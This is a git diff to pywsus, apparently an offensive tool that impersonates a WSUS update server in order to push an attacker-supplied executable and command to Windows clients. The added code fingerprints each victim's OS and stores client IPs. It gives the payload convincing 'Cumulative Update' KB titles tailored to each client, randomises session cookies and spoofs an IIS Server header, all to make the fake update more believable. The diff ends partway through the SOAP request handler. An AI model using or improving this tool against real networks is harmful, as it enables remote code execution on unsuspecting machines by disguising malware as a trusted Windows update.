diff --git a/.gitignore b/.gitignore
index a81c8ee..1e8b51e 100644
--- a/.gitignore
+++ b/.gitignore
@@ -136,3 +136,4 @@ dmypy.json
# Cython debug symbols
cython_debug/
+data/known_clients.json
diff --git a/check_build.py b/check_build.py
new file mode 100644
index 0000000..267f4c0
--- /dev/null
+++ b/check_build.py
@@ -0,0 +1,289 @@
+#!/usr/bin/env python3
+"""check_build.py — Update data/win_builds.json from Microsoft release health pages.
+
+Scrapes the official Microsoft documentation to discover new Windows build
+numbers and adds them to the local data/win_builds.json dictionary, organized
+by OS family (Windows 10, Windows 11, Windows Server XXXX, etc.).
+
+Sources:
+ - Windows 10: https://learn.microsoft.com/en-us/windows/release-health/release-information
+ - Windows 11: https://learn.microsoft.com/en-us/windows/release-health/windows11-release-information
+ - Windows Server: https://learn.microsoft.com/en-us/windows/release-health/windows-server-release-info
+
+Usage:
+ python check_build.py # update data/win_builds.json
+ python check_build.py --dry-run # show what would change, don't write
+ python check_build.py --wipe-clients # delete data/known_clients.json (reset IP cache)
+"""
+
+import json
+import os
+import re
+import datetime
+import argparse
+from urllib.request import urlopen, Request
+from urllib.error import URLError
+
+# ---------------------------------------------------------------------------
+# Configuration
+# ---------------------------------------------------------------------------
+
+_SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
+_DATA_DIR = os.path.join(_SCRIPT_DIR, "data")
+_BUILDS_JSON = os.path.join(_DATA_DIR, "win_builds.json")
+_CLIENTS_JSON = os.path.join(_DATA_DIR, "known_clients.json")
+
+# Client sources: scrape "Version XXX (OS build NNNNN)" patterns
+CLIENT_SOURCES = [
+ {
+ "url": "https://learn.microsoft.com/en-us/windows/release-health/release-information",
+ "section": "Windows 10",
+ },
+ {
+ "url": "https://learn.microsoft.com/en-us/windows/release-health/windows11-release-information",
+ "section": "Windows 11",
+ },
+]
+
+# Server source: scrape "Windows Server XXXX (OS build NNNNN)" headers
+SERVER_SOURCE = {
+ "url": "https://learn.microsoft.com/en-us/windows/release-health/windows-server-release-info",
+}
+
+HEADERS = {
+ "User-Agent": "check_build/1.0 (pywsus; build dictionary updater)",
+ "Accept": "text/html",
+}
+
+# ---------------------------------------------------------------------------
+# Scraping
+# ---------------------------------------------------------------------------
+
+def fetch_page(url):
+ """Fetch a page and return its HTML as a string."""
+ req = Request(url, headers=HEADERS)
+ try:
+ with urlopen(req, timeout=15) as resp:
+ return resp.read().decode("utf-8", errors="replace")
+ except URLError as e:
+ print(f" [!] Failed to fetch {url}: {e}")
+ return ""
+
+
+def extract_client_builds(html_content):
+ """Extract { base_build: version_label } from a Win10/Win11 release health page.
+
+ Looks for patterns like 'Version 22H2 (OS build 19045)'.
+ """
+ results = {}
+
+ # Pattern 1: "Version 22H2 (OS build 19045)" style headers
+ for m in re.finditer(
+ r'Version\s+([\w.]+)\s*\(OS\s+build\s+(\d{5,})\)',
+ html_content, re.IGNORECASE
+ ):
+ results[m.group(2)] = m.group(1)
+
+ # Pattern 2: table rows with version + build pairs
+ version_pat = re.compile(
+ r'
]*>\s*(?:Version\s+)?(1[5-9]\d{2}|2[0-9]H[12]|2[0-9]{3})\s* | ',
+ re.IGNORECASE
+ )
+ build_pat = re.compile(r']*>\s*(\d{5,})(?:\.\d+)?\s* | ')
+
+ for row in re.finditer(r']*>(.*?)
', html_content, re.DOTALL):
+ row_html = row.group(1)
+ ver_m = version_pat.search(row_html)
+ bld_m = build_pat.search(row_html)
+ if ver_m and bld_m:
+ build = bld_m.group(1)
+ if build not in results:
+ results[build] = ver_m.group(1)
+
+ return results
+
+
+def extract_server_builds(html_content):
+ """Extract { section_name: { base_build: version } } from the Server page.
+
+ Looks for detail headers like 'Windows Server 2025 (OS build 26100)'
+ and main table rows like 'Windows Server 2019 (version 1809)'.
+ """
+ results = {} # { "Windows Server 2025": { "26100": "24H2" }, ... }
+
+ # Step 1: extract section → base_build from detail headers
+ # Pattern: "Windows Server XXXX (OS build NNNNN)"
+ section_builds = {}
+ for m in re.finditer(
+ r'Windows\s+Server\s+(\d{4})\s*\(OS\s+build\s+(\d{5,})\)',
+ html_content, re.IGNORECASE
+ ):
+ name = f"Windows Server {m.group(1)}"
+ base_build = m.group(2)
+ section_builds[name] = base_build
+
+ # Step 2: extract version from main table
+ # Pattern: "Windows Server XXXX (version YYYY)" or just "Windows Server XXXX"
+ version_map = {}
+ for m in re.finditer(
+ r'Windows\s+Server\s+(\d{4})\s*\(version\s+([\w.]+)\)',
+ html_content, re.IGNORECASE
+ ):
+ version_map[f"Windows Server {m.group(1)}"] = m.group(2)
+
+ # Step 3: for servers without explicit version, try to derive it
+ # Server 2025 = build 26100 = "24H2", Server 2022 = build 20348 = "21H2"
+ _KNOWN_SERVER_VERSIONS = {
+ "Windows Server 2025": "24H2",
+ "Windows Server 2022": "21H2",
+ }
+
+ # Combine
+ for name, base_build in section_builds.items():
+ version = version_map.get(name, _KNOWN_SERVER_VERSIONS.get(name, ""))
+ if name not in results:
+ results[name] = {}
+ if version:
+ results[name][base_build] = version
+
+ return results
+
+
+# ---------------------------------------------------------------------------
+# JSON management
+# ---------------------------------------------------------------------------
+
+def load_json():
+ """Load the existing data/win_builds.json or create a skeleton."""
+ if os.path.exists(_BUILDS_JSON):
+ with open(_BUILDS_JSON, "r", encoding="utf-8") as f:
+ return json.load(f)
+ return {
+ "_comment": "OS family → { build_number: version }. Updated by check_build.py",
+ "_updated": "",
+ "_sources": [s["url"] for s in CLIENT_SOURCES] + [SERVER_SOURCE["url"]],
+ }
+
+
+def save_json(data):
+ """Write the updated JSON file with sorted builds per section."""
+ data["_updated"] = datetime.date.today().isoformat()
+ for key, val in data.items():
+ if key.startswith("_") or not isinstance(val, dict):
+ continue
+ data[key] = dict(sorted(val.items(), key=lambda x: int(x[0])))
+ os.makedirs(_DATA_DIR, exist_ok=True)
+ with open(_BUILDS_JSON, "w", encoding="utf-8") as f:
+ json.dump(data, f, indent=4, ensure_ascii=False)
+ f.write("\n")
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main():
+ parser = argparse.ArgumentParser(
+ description="Update data/win_builds.json from Microsoft release health pages.",
+ epilog=(
+ "Examples:\n"
+ " python check_build.py # fetch latest builds\n"
+ " python check_build.py --dry-run # preview without saving\n"
+ " python check_build.py --wipe-clients # reset known client IPs\n"
+ ),
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ )
+ parser.add_argument("--dry-run", action="store_true",
+ help="Show changes without writing to disk")
+ parser.add_argument("--wipe-clients", action="store_true",
+ help="Reset data/known_clients.json (clear all known client IPs)")
+ args = parser.parse_args()
+
+ # --- Wipe clients if requested ---
+ if args.wipe_clients:
+ os.makedirs(_DATA_DIR, exist_ok=True)
+ empty = {"_comment": "Known WSUS clients — { ip: {build, arch, os_desc} }. Auto-populated by pywsus."}
+ with open(_CLIENTS_JSON, "w", encoding="utf-8") as f:
+ json.dump(empty, f, indent=2, ensure_ascii=False)
+ f.write("\n")
+ print(f"[*] Cleared {_CLIENTS_JSON}")
+ return
+
+ data = load_json()
+ added = {}
+
+ # Count existing
+ existing_count = sum(len(v) for k, v in data.items()
+ if not k.startswith("_") and isinstance(v, dict))
+ print(f"[*] Current dictionary: {existing_count} builds in {_BUILDS_JSON}")
+ print()
+
+ # --- Client builds (Windows 10, Windows 11) ---
+ for source in CLIENT_SOURCES:
+ url = source["url"]
+ section = source["section"]
+
+ print(f"[*] Fetching {section} release info...")
+ html_content = fetch_page(url)
+ if not html_content:
+ continue
+
+ discovered = extract_client_builds(html_content)
+ print(f" Found {len(discovered)} build(s) on page")
+
+ existing = data.setdefault(section, {})
+ for build, version in discovered.items():
+ if build not in existing:
+ added[f"{section}/{build}"] = version
+ existing[build] = version
+ print(f" [+] NEW: {section} build {build} → version {version}")
+ elif existing[build] != version:
+ print(f" [~] UPDATE: {section} build {build}: "
+ f"{existing[build]} → {version}")
+ existing[build] = version
+ added[f"{section}/{build}"] = version
+
+ # --- Server builds ---
+ print(f"[*] Fetching Windows Server release info...")
+ html_content = fetch_page(SERVER_SOURCE["url"])
+ if html_content:
+ server_results = extract_server_builds(html_content)
+ total_server = sum(len(v) for v in server_results.values())
+ print(f" Found {total_server} build(s) across {len(server_results)} server edition(s)")
+
+ for section, builds in server_results.items():
+ existing = data.setdefault(section, {})
+ for build, version in builds.items():
+ if build not in existing:
+ added[f"{section}/{build}"] = version
+ existing[build] = version
+ print(f" [+] NEW: {section} build {build} → version {version}")
+ elif existing[build] != version:
+ print(f" [~] UPDATE: {section} build {build}: "
+ f"{existing[build]} → {version}")
+ existing[build] = version
+ added[f"{section}/{build}"] = version
+
+ print()
+
+ if not added:
+ print("[*] Dictionary is already up to date, no new builds found.")
+ else:
+ print(f"[+] {len(added)} new/updated build(s):")
+ for key, version in sorted(added.items()):
+ print(f" {key} → {version}")
+
+ if added and not args.dry_run:
+ save_json(data)
+ print(f"\n[*] Saved to {_BUILDS_JSON}")
+ elif added and args.dry_run:
+ print(f"\n[*] Dry run — changes NOT saved")
+
+ total = sum(len(v) for k, v in data.items()
+ if not k.startswith("_") and isinstance(v, dict))
+ families = sum(1 for k in data if not k.startswith("_") and isinstance(data[k], dict))
+ print(f"\n[*] Total: {total} builds / {families} OS families")
+
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/data/win_builds.json b/data/win_builds.json
new file mode 100644
index 0000000..6cbe7e9
--- /dev/null
+++ b/data/win_builds.json
@@ -0,0 +1,67 @@
+{
+ "_comment": "OS family → { build_number: version }. Updated by check_build.py",
+ "_updated": "2026-04-01",
+ "_sources": [
+ "https://learn.microsoft.com/en-us/windows/release-health/release-information",
+ "https://learn.microsoft.com/en-us/windows/release-health/windows11-release-information",
+ "https://learn.microsoft.com/en-us/windows/release-health/windows-server-release-info"
+ ],
+ "Windows 7": {
+ "7600": "RTM",
+ "7601": "SP1"
+ },
+ "Windows 8": {
+ "9200": "RTM"
+ },
+ "Windows 8.1": {
+ "9600": "Update 1"
+ },
+ "Windows 10": {
+ "10240": "1507",
+ "10586": "1511",
+ "14393": "1607",
+ "15063": "1703",
+ "16299": "1709",
+ "17134": "1803",
+ "17763": "1809",
+ "18362": "1903",
+ "18363": "1909",
+ "19041": "2004",
+ "19042": "20H2",
+ "19043": "21H1",
+ "19044": "21H2",
+ "19045": "22H2"
+ },
+ "Windows 11": {
+ "22000": "21H2",
+ "22621": "22H2",
+ "22631": "23H2",
+ "26100": "24H2",
+ "26200": "25H2",
+ "28000": "26H1"
+ },
+ "Windows Server 2008": {
+ "6003": "SP2"
+ },
+ "Windows Server 2008 R2": {
+ "7601": "SP1"
+ },
+ "Windows Server 2012": {
+ "9200": "RTM"
+ },
+ "Windows Server 2012 R2": {
+ "9600": "RTM"
+ },
+ "Windows Server 2016": {
+ "14393": "1607"
+ },
+ "Windows Server 2019": {
+ "17763": "1809"
+ },
+ "Windows Server 2022": {
+ "20348": "21H2"
+ },
+ "Windows Server 2025": {
+ "26100": "24H2"
+ }
+}
diff --git a/pywsus.py b/pywsus.py
index 21ee579..baf02ab 100644
--- a/pywsus.py
+++ b/pywsus.py
@@ -8,248 +8,775 @@
import datetime
import base64
import hashlib
-import logging
+import json
+import re
import sys
import os
import argparse
+import threading
+import time
+import select
+import tty
+import termios
+
+from rich.console import Console # type: ignore
+
+# ---------------------------------------------------------------------------
+# KB generation
+# ---------------------------------------------------------------------------
+
+def _random_kb() -> str:
+ """Random KB in the Win10/11 monthly rollup band (5000000–5099999)."""
+ return str(randint(5_000_000, 5_099_999))
+
+
+# ---------------------------------------------------------------------------
+# OS fingerprinting from RegisterComputer
+#
+# win_builds.json is organized by OS family:
+# "Windows 11": { "26100": "24H2", "26200": "25H2", ... }
+# "Windows Server 2025": { "26100": "24H2" }
+#
+# OSDescription from RegisterComputer (e.g. "Windows 10 Pro",
+# "Windows Server 2025 Standard") is matched against section keys
+# (longest first to avoid "Windows Server 2012" shadowing "2012 R2").
+# Then the build number is looked up inside that section.
+# ---------------------------------------------------------------------------
+
+def _load_builds():
+ """Load data/win_builds.json -> dict of { os_family: { int(build): version } }.
+
+ Keys starting with '_' are metadata and are skipped.
+ """
+ path = os.path.join(os.path.abspath(os.path.dirname(__file__)),
+ "data", "win_builds.json")
+ try:
+ with open(path, "r", encoding="utf-8") as f:
+ raw = json.load(f)
+ result = {}
+ for key, builds in raw.items():
+ if key.startswith("_") or not isinstance(builds, dict):
+ continue
+ result[key] = {int(b): v for b, v in builds.items()}
+ return result
+ except (OSError, json.JSONDecodeError, ValueError):
+ return {}
+
+_BUILDS_DB = _load_builds()
+
+# Section keys sorted longest-first so "Windows Server 2012 R2" matches
+# before "Windows Server 2012", and "Windows 8.1" before "Windows 8".
+_OS_KEYS_SORTED = sorted(_BUILDS_DB.keys(), key=len, reverse=True)
+
+_ARCH_MAP = {
+ "AMD64": "x64-based Systems",
+ "amd64": "x64-based Systems",
+ "X86": "x86-based Systems",
+ "x86": "x86-based Systems",
+ "ARM64": "ARM64-based Systems",
+ "arm64": "ARM64-based Systems",
+}
+
+# ---------------------------------------------------------------------------
+# Known clients persistence
+# Stores { ip: { "build": int, "arch": str, "os_desc": str } } on disk
+# so that clients who skip RegisterComputer (WUA cache) still get
+# a targeted title even after tool restart or session rotation.
+# ---------------------------------------------------------------------------
+
+_KNOWN_CLIENTS_PATH = os.path.join(os.path.abspath(os.path.dirname(__file__)),
+ "data", "known_clients.json")
+
+def _load_known_clients():
+ """Load data/known_clients.json -> { ip: {build, arch, os_desc} }.
+
+ Keys starting with '_' are metadata and are skipped.
+ """
+ try:
+ with open(_KNOWN_CLIENTS_PATH, "r", encoding="utf-8") as f:
+ raw = json.load(f)
+ return {k: v for k, v in raw.items() if not k.startswith("_")}
+ except (OSError, json.JSONDecodeError):
+ return {}
+
+def _save_known_clients(clients):
+ """Persist the clients dict to data/known_clients.json."""
+ try:
+ os.makedirs(os.path.dirname(_KNOWN_CLIENTS_PATH), exist_ok=True)
+ data = {"_comment": "Known WSUS clients — { ip: {build, arch, os_desc} }. Auto-populated by pywsus."}
+ data.update(clients)
+ with open(_KNOWN_CLIENTS_PATH, "w", encoding="utf-8") as f:
+ json.dump(data, f, indent=2, ensure_ascii=False)
+ f.write("\n")
+ except OSError:
+ pass
+
+_known_clients = _load_known_clients()
+
+
+def _build_kb_title(kb_number, os_build=0, arch="", os_desc=""):
+ """Build a realistic Microsoft KB title from client info.
+
+ Two-pass lookup:
+ 1. Sections whose key appears in OSDescription (longest-first).
+ If the build is found there -> use it.
+ 2. Fallback: try ALL sections for the build number.
+ Handles Win11 reporting OSDescription="Windows 10 Pro" (NT 10.0).
+
+ Falls back to generic title if nothing matches.
+ """
+ now = datetime.datetime.now()
+ prefix = f"{now.year}-{now.month:02d} Cumulative Update for"
+ arch_label = _ARCH_MAP.get(arch, "")
+
+ os_family = ""
+ version = ""
+ os_desc_lower = os_desc.lower()
+
+ # Pass 1: sections matching OSDescription
+ for key in _OS_KEYS_SORTED:
+ if key.lower() in os_desc_lower:
+ v = _BUILDS_DB[key].get(os_build, "")
+ if v:
+ os_family, version = key, v
+ break
+
+ # Pass 2: if not found, try all sections for this build
+ # Skip server sections for client descs and vice versa to avoid
+ # shared builds (e.g. 26100 = Win11 24H2 AND Server 2025)
+ if not version:
+ is_server_desc = "server" in os_desc_lower
+ for key in _OS_KEYS_SORTED:
+ key_is_server = "server" in key.lower()
+ if is_server_desc != key_is_server:
+ continue
+ v = _BUILDS_DB[key].get(os_build, "")
+ if v:
+ os_family, version = key, v
+ break
+
+ # If still no version but OSDescription matched a family, keep the family
+ if not os_family and os_desc_lower:
+ for key in _OS_KEYS_SORTED:
+ if key.lower() in os_desc_lower:
+ os_family = key
+ break
+
+ # --- Compose title ---
+ if os_family and version and arch_label:
+ title = f"{prefix} {os_family}, version {version} for {arch_label} (KB{kb_number})"
+ elif os_family and version:
+ title = f"{prefix} {os_family}, version {version} (KB{kb_number})"
+ elif os_family and arch_label:
+ title = f"{prefix} {os_family} for {arch_label} (KB{kb_number})"
+ elif os_family:
+ title = f"{prefix} {os_family} (KB{kb_number})"
+ else:
+ title = f"{prefix} Windows (KB{kb_number})"
+
+ if os_build:
+ title += f" ({os_build})"
+ return title
+
+# ---------------------------------------------------------------------------
+# WSUS update handler
+# ---------------------------------------------------------------------------
class WSUSUpdateHandler:
def __init__(self, executable_file, executable_name, client_address):
- self.get_config_xml = ''
- self.get_cookie_xml = ''
- self.register_computer_xml = ''
- self.sync_updates_xml = ''
+ self.get_config_xml = ''
+ self.get_cookie_xml = ''
+ self.register_computer_xml = ''
+ self.sync_updates_xml = ''
+ self.sync_updates_empty_xml = ''
self.get_extended_update_info_xml = ''
- self.report_event_batch_xml = ''
+ self.report_event_batch_xml = ''
self.get_authorization_cookie_xml = ''
- self.revision_ids = [randint(900000, 999999), randint(900000, 999999)]
- self.deployment_ids = [randint(80000, 99999), randint(80000, 99999)]
- self.uuids = [uuid.uuid4(), uuid.uuid4()]
+ # Two IDs each: parent "Install" update + child "Bundle" update
+ self.revision_ids = [randint(900000, 999999), randint(900000, 999999)]
+ self.deployment_ids = [randint(80000, 99999), randint(80000, 99999)]
+ self.uuids = [uuid.uuid4(), uuid.uuid4()]
- self.executable = executable_file
+ self.executable = executable_file
self.executable_name = executable_name
- self.sha1 = ''
- self.sha256 = ''
-
- self.client_address = client_address
+ self.sha1 = ''
+ self.sha256 = ''
+ self.kb_number = _random_kb()
+ self.kb_title = ''
+ self.client_address = client_address
+ self._cookie_bytes = os.urandom(47) # realistic opaque blob per session
+
+ # Per-IP client info: { ip: {"build": int, "arch": str, "os_desc": str} }
+ # Populated by RegisterComputer, consumed by GetExtendedUpdateInfo.
+ # Initialized from known_clients.json for persistence across restarts.
+ self._clients = dict(_known_clients)
+
+ # Raw template + kwargs for get-extended-update-info.xml
+ # (rendered per-request with the right kb_title per client IP)
+ self._ext_info_template = ''
+ self._ext_info_kwargs = {}
def get_last_change(self):
return (datetime.datetime.now() - datetime.timedelta(days=3)).isoformat()
def get_cookie(self):
- return base64.b64encode(b'A'*47).decode('utf-8')
+ return base64.b64encode(self._cookie_bytes).decode('utf-8')
def get_expire(self):
return (datetime.datetime.now() + datetime.timedelta(days=1)).isoformat()
def set_resources_xml(self, command):
- # init resources
-
+ """Load XML templates from resources/ and inject session values."""
path = os.path.abspath(os.path.dirname(__file__))
-
try:
- with open('{}/resources/get-config.xml'.format(path), 'r') as file:
- self.get_config_xml = file.read().format(lastChange=self.get_last_change())
- file.close()
-
- with open('{}/resources/get-cookie.xml'.format(path), 'r') as file:
- self.get_cookie_xml = file.read().format(expire=self.get_expire(), cookie=self.get_cookie())
- file.close()
-
- with open('{}/resources/register-computer.xml'.format(path), 'r') as file:
- self.register_computer_xml = file.read()
- file.close()
-
- with open('{}/resources/sync-updates.xml'.format(path), 'r') as file:
- # TODO KB1234567 -> dynamic
- self.sync_updates_xml = file.read().format(revision_id1=self.revision_ids[0], revision_id2=self.revision_ids[1],
- deployment_id1=self.deployment_ids[0], deployment_id2=self.deployment_ids[1],
- uuid1=self.uuids[0], uuid2=self.uuids[1], expire=self.get_expire(), cookie=self.get_cookie())
- file.close()
-
- with open('{}/resources/get-extended-update-info.xml'.format(path), 'r') as file:
- self.get_extended_update_info_xml = file.read().format(revision_id1=self.revision_ids[0], revision_id2=self.revision_ids[1], sha1=self.sha1, sha256=self.sha256,
- filename=self.executable_name, file_size=len(executable_file), command=html.escape(html.escape(command)),
- url='http://{host}/{path}/{executable}'.format(host=self.client_address, path=uuid.uuid4(), executable=self.executable_name))
- file.close()
-
- with open('{}/resources/report-event-batch.xml'.format(path), 'r') as file:
- self.report_event_batch_xml = file.read()
- file.close()
-
- with open('{}/resources/get-authorization-cookie.xml'.format(path), 'r') as file:
- self.get_authorization_cookie_xml = file.read().format(cookie=self.get_cookie())
- file.close()
-
+ with open(f'{path}/resources/get-config.xml', 'r') as f:
+ self.get_config_xml = f.read().format(
+ lastChange=self.get_last_change())
+ f.close()
+
+ with open(f'{path}/resources/get-cookie.xml', 'r') as f:
+ self.get_cookie_xml = f.read().format(
+ expire=self.get_expire(), cookie=self.get_cookie())
+ f.close()
+
+ with open(f'{path}/resources/register-computer.xml', 'r') as f:
+ self.register_computer_xml = f.read()
+ f.close()
+
+ with open(f'{path}/resources/sync-updates.xml', 'r') as f:
+ self.sync_updates_xml = f.read().format(
+ revision_id1=self.revision_ids[0], revision_id2=self.revision_ids[1],
+ deployment_id1=self.deployment_ids[0], deployment_id2=self.deployment_ids[1],
+ uuid1=self.uuids[0], uuid2=self.uuids[1],
+ expire=self.get_expire(), cookie=self.get_cookie(),
+ last_change=self.get_last_change())
+
+ # Empty SyncUpdates — for driver sync requests (contains )
+ with open(f'{path}/resources/sync-updates-empty.xml', 'r') as f:
+ self.sync_updates_empty_xml = f.read().format(
+ expire=self.get_expire(), cookie=self.get_cookie())
+ f.close()
+
+ with open(f'{path}/resources/get-extended-update-info.xml', 'r') as f:
+ self._ext_info_template = f.read()
+ self._ext_info_kwargs = dict(
+ revision_id1=self.revision_ids[0], revision_id2=self.revision_ids[1],
+ sha1=self.sha1, sha256=self.sha256,
+ filename=self.executable_name, file_size=len(self.executable),
+ command=html.escape(html.escape(command)),
+ url='http://{host}/{path}/{executable}'.format(
+ host=self.client_address, path=uuid.uuid4(),
+ executable=self.executable_name),
+ kb_number=self.kb_number,
+ kb_title='')
+ # Generic title — used as fallback for clients that skip RegisterComputer
+ self._generic_title = _build_kb_title(self.kb_number)
+ self.kb_title = self._generic_title
+ self._ext_info_kwargs['kb_title'] = html.escape(self.kb_title)
+ self.get_extended_update_info_xml = \
+ self._ext_info_template.format(**self._ext_info_kwargs)
+ f.close()
+
+ with open(f'{path}/resources/report-event-batch.xml', 'r') as f:
+ self.report_event_batch_xml = f.read()
+ f.close()
+
+ with open(f'{path}/resources/get-authorization-cookie.xml', 'r') as f:
+ self.get_authorization_cookie_xml = f.read().format(
+ cookie=self.get_cookie())
+ f.close()
except Exception as err:
- logging.error('Error: {err}'.format(err=err))
+ _console.print(f"[bold red][ERROR][/] Loading XML resources: {err}")
sys.exit(1)
def set_filedigest(self):
- hash1 = hashlib.sha1()
- hash256 = hashlib.sha256()
+ """Compute SHA-1 and SHA-256 of the executable payload."""
+ h1 = hashlib.sha1()
+ h256 = hashlib.sha256()
+ h1.update(self.executable)
+ h256.update(self.executable)
+ self.sha1 = base64.b64encode(h1.digest()).decode()
+ self.sha256 = base64.b64encode(h256.digest()).decode()
+
+ def register_client(self, ip, os_build, arch, os_desc):
+ """Store per-IP client info from RegisterComputer and persist to disk.
+
+ Stores raw OS data (not the title) so it stays valid across
+ session rotations (new KB number -> new title from same data).
+ """
+ info = {"build": os_build, "arch": arch, "os_desc": os_desc}
+ self._clients[ip] = info
+ _known_clients[ip] = info
+ _save_known_clients(_known_clients)
+ return _build_kb_title(self.kb_number, os_build, arch, os_desc)
+
+ def title_for_ip(self, ip):
+ """Compute the KB title for a given IP from stored raw data.
+
+ Returns the targeted title if the IP was seen via RegisterComputer
+ (this session or a previous one), generic title otherwise.
+ """
+ info = self._clients.get(ip)
+ if info:
+ return _build_kb_title(self.kb_number,
+ info["build"], info["arch"], info["os_desc"])
+ return self._generic_title
+
+ def get_ext_info_xml_for(self, ip):
+ """Render GetExtendedUpdateInfo XML with the right kb_title for this IP."""
+ title = self.title_for_ip(ip)
+ kwargs = dict(self._ext_info_kwargs)
+ kwargs['kb_title'] = html.escape(title)
+ return self._ext_info_template.format(**kwargs)
+
+
+# ---------------------------------------------------------------------------
+# Display layer
+# ---------------------------------------------------------------------------
+
+_console = Console(highlight=False)
+_out_lock = threading.Lock()
+_log_level = 0
+_log_file = None
+
+_STYLE = {
+ "GetConfig": "dim",
+ "GetCookie": "bright_magenta",
+ "GetAuthorizationCookie": "dim",
+ "RegisterComputer": "bright_white",
+ "SyncUpdates": "bright_green",
+ "GetExtendedUpdateInfo": "bright_yellow",
+ "ReportEventBatch": "bright_blue",
+ "FileDownload": "bright_cyan",
+ "WARN": "bold red",
+}
+
+def _ts():
+ return datetime.datetime.now().strftime("%H:%M:%S")
+
+
+def _log(level, ip, action, detail="", direction=""):
+ if level > _log_level:
+ return
+ ts = _ts()
+ style = _STYLE.get(action, "white")
+ line = f"[bright_black]{ts}[/] [cyan]{ip:<15}[/] [{style}]{action:<26}[/]"
+ if detail:
+ line += f" [dim]{detail}[/]"
+ with _out_lock:
+ _console.print(line)
+
+ if _log_file and _log_level == 1:
+ arrow = {"request": "CLIENT -> ", "response": "<- SERVER "}.get(direction, "")
+ plain = f"{ts} {ip:<15} {arrow}{action:<26}"
+ if detail:
+ plain += f" {detail}"
try:
- data = self.executable
- hash1.update(data)
- hash256.update(data)
- self.sha1 = base64.b64encode(hash1.digest()).decode()
- self.sha256 = base64.b64encode(hash256.digest()).decode()
+ with open(_log_file, "a", encoding="utf-8") as fh:
+ fh.write(plain + "\n")
+ except OSError:
+ pass
- except Exception as err:
- logging.error('Error in set_filedigest: {err}'.format(err=err))
- sys.exit(1)
- def __str__(self):
- return 'The update metadata - uuids: {uuids},revision_ids: {revision_ids}, deployment_ids: {deployment_ids}, executable: {executable}, sha1: {sha1}, sha256: {sha256}'.format(
- uuids=self.uuids, revision_ids=self.revision_ids, deployment_ids=self.deployment_ids, executable=self.executable_name, sha1=self.sha1, sha256=self.sha256)
+def _log_raw(label, content, http_request=""):
+ if _log_level < 2 or not _log_file:
+ return
+ sep = "─" * 72
+ header = f"{sep} {_ts()} {label} {sep}"
+ try:
+ with open(_log_file, "a", encoding="utf-8") as fh:
+ fh.write(f"\n{header}\n")
+ if http_request:
+ fh.write(f" {http_request}\n")
+ fh.write(f"{content}\n")
+ except OSError:
+ pass
+
+def _log_resp(ip, action_name):
+ """Write <- SERVER line to log file only (level 1 only, not level 2)."""
+ if not _log_file or _log_level != 1:
+ return
+ try:
+ with open(_log_file, "a", encoding="utf-8") as fh:
+ fh.write(f"{_ts()} {ip:<15} <- SERVER {action_name + ' (resp)':<26}\n")
+ except OSError:
+ pass
+
+
+# ---------------------------------------------------------------------------
+# HTTP server
+# ---------------------------------------------------------------------------
class WSUSBaseServer(BaseHTTPRequestHandler):
- def _set_response(self, serveEXE=False):
+ # Spoof the Server header to match a real WSUS (IIS) response.
+ # BaseHTTPRequestHandler builds it from server_version + sys_version;
+ # overriding version_string() is the cleanest single-point fix.
+ def version_string(self):
+ return 'Microsoft-IIS/10.0'
+
+ def log_message(self, fmt, *args):
+ pass
+
+ def _set_response(self, serveEXE=False, xml_body=None):
self.protocol_version = 'HTTP/1.1'
- self.send_response(200)
- # self.server_version = 'Microsoft-IIS/10.0'
- # self.send_header('Accept-Ranges', 'bytes')
+ # send_response_only() emits only the status line — no Server/Date,
+ # letting us place them in IIS order: Cache-Control, Content-Type,
+ # Server, X-AspNet-Version, X-Powered-By, Date, Content-Length.
+ self.send_response_only(200)
self.send_header('Cache-Control', 'private')
-
if serveEXE:
self.send_header('Content-Type', 'application/octet-stream')
- self.send_header("Content-Length", len(update_handler.executable))
else:
- self.send_header('Content-type', 'text/xml; chartset=utf-8')
-
+ self.send_header('Content-Type', 'text/xml; charset=utf-8')
+ self.send_header('Server', self.version_string())
self.send_header('X-AspNet-Version', '4.0.30319')
self.send_header('X-Powered-By', 'ASP.NET')
+ self.send_header('Date', self.date_time_string())
+ if serveEXE:
+ self.send_header('Content-Length', len(update_handler.executable))
+ elif xml_body is not None:
+ self.send_header('Content-Length', len(xml_body))
self.end_headers()
def do_HEAD(self):
- logging.debug('HEAD request,\nPath: {path}\nHeaders:\n{headers}\n'.format(path=self.path, headers=self.headers))
-
- if self.path.find(".exe"):
- logging.info("Requested: {path}".format(path=self.path))
-
+ if ".exe" in self.path:
+ _log(0, self.client_address[0], "HEAD", self.path, direction="request")
self._set_response(True)
def do_GET(self):
- logging.debug('GET request,\nPath: {path}\nHeaders:\n{headers}\n'.format(path=self.path, headers=self.headers))
-
- if self.path.find(".exe"):
- logging.info("Requested: {path}".format(path=self.path))
-
+ ip = self.client_address[0]
+ if ".exe" in self.path:
self._set_response(True)
- self.wfile.write(update_handler.executable)
+ try:
+ self.wfile.write(update_handler.executable)
+ except (ConnectionResetError, BrokenPipeError):
+ _log(0, ip, "FileDownload", "connection reset (client may retry)")
+ return
+ size_kb = len(update_handler.executable) // 1024
+ _log(0, ip, "FileDownload",
+ f"{size_kb} KB -> {update_handler.executable_name}",
+ direction="response")
def do_POST(self):
-
content_length = int(self.headers['Content-Length'])
- post_data = self.rfile.read(content_length)
+ post_data = self.rfile.read(content_length)
+ post_data_xml = BeautifulSoup(post_data, "xml")
+ data = None
- post_data_xml = BeautifulSoup(post_data, "xml")
- data = None
+ soap_action = self.headers['SOAPAction']
+ ip = self.client_address[0]
+ action_name = soap_action.strip('"').rsplit('/', 1)[-1] if soap_action else "Unknown"
- logging.debug("POST Request,\nPath: {path}\nHeaders:\n{headers}\n\nBody:\n{body}\n".format(path=self.path, headers=self.headers, body=post_data_xml.encode_contents()))
+ _log_raw(f"CLIENT -> SERVER {ip} {action_name}",
+ post_data_xml.prettify(),
+ http_request=self.requestline)
- soap_action = self.headers['SOAPAction']
+ # --- SOAP dispatch ---
if soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/b76899b4-ad55-427d-a748-2ecf0829412b
data = BeautifulSoup(update_handler.get_config_xml, 'xml')
+ _log(0, ip, "GetConfig", direction="request")
elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"':
